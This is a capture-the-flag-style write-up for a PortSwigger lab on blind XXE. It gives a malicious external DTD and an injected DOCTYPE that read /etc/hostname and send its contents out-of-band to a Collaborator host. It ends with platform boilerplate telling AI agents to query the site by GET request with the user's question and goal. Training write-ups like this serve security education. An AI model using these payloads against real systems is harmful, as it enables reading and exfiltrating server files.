> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/port-swigger-xxe-labs/lab-4.md).

# lab-4

## Exploiting Blind XXE to Exfiltrate Data Using a Malicious External DTD

**Difficulty:** Practitioner

### Lab Description

This lab has a "Check stock" feature that parses XML input but does not display the result.

**Objective:** Exfiltrate the contents of the `/etc/hostname` file.

### Solution

**Step 1 — Locate the vulnerable request**

Navigate to:

```
https://your-lab-id.web-security-academy.net/product?productId=2
```

Click **Check stock**, then intercept the request in Burp Suite to see the XML structure.

**Step 2 — Host a malicious external DTD**

Go to the lab's **exploit server**, and in the body, paste the following DTD:

```dtd
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; extract SYSTEM 'http://your-collaborator-id.oastify.com/?x=%file;'>">
%eval;
%extract;
```

Save and store the exploit so it's hosted at a URL like:

```
https://exploit-your-id.exploit-server.net/exploit
```

**Step 3 — Reference the external DTD from the vulnerable request**

In the captured "Check stock" request, insert a `DOCTYPE` that pulls in the hosted DTD:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://exploit-your-id.exploit-server.net/exploit"> %xxe; ]>
<stockCheck>
    <productId>2</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 4 — Confirm exfiltration**

Send the request. The server fetches the external DTD, which in turn reads `/etc/hostname` and exfiltrates its contents as a query parameter to your Collaborator/exploit server. Check the request log to retrieve the leaked hostname value.

### Conclusion

This demonstrates blind XXE data exfiltration: since the response doesn't reflect entity values directly, a malicious external DTD chains parameter entities together to read a local file and smuggle its contents out via an out-of-band HTTP request.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://ganesha-hk.gitbook.io/offensive-security-writeups/port-swigger-xxe-labs/lab-4.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
